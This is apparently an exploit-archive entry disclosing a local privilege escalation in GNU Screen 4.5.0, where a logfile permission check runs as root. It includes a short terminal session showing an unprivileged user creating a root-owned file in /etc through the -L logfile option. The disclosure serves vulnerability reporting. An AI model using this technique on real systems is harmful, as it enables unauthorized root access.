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GNU Screen 4.5.0 Privilege Escalation

GNU Screen 4.5.0 Privilege Escalation
Posted Jan 27, 2017
Authored by Donald Buczek

GNU Screen version 4.5.0 suffers from a local privilege escalation vulnerability.

tags | exploit, local
SHA-256 | 3621c50f09c811cf165c3a3612f679c2905d434282ec10df3ee2e4c418d662cf

GNU Screen 4.5.0 Privilege Escalation

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Commit f86a374 ("screen.c: adding permissions check for the logfile name",
2015-11-04)

The check opens the logfile with full root privileges. This allows us to
truncate any file or create a root-owned file with any contents in any
directory and can be easily exploited to full root access in several ways.

> address@hidden:~$ screen --version
> Screen version 4.05.00 (GNU) 10-Dec-16
> address@hidden:~$ id
> uid=125(buczek) gid=125(buczek)
groups=125(buczek),15(users),19(adm),42(admin),154(Omp3grp),200(algrgrp),209(cdgrp),242(gridgrp),328(nchemgrp),407(hoeheweb),446(spwgrp),453(helpdesk),512(twikigrp),584(zmgrp),598(edv),643(megamgrp),677(greedgrp),5000(abt_srv),16003(framesgr),16012(chrigrp),17001(priv_cpw)
> address@hidden:~$ cd /etc
> address@hidden:/etc (master)$ screen -D -m -L bla.bla echo fail
> address@hidden:/etc (master)$ ls -l bla.bla
> -rw-rw---- 1 root buczek 6 Jan 24 19:58 bla.bla
> address@hidden:/etc (master)$ cat bla.bla
> fail
> address@hidden:/etc (master)$

Donald Buczek <address@hidden>

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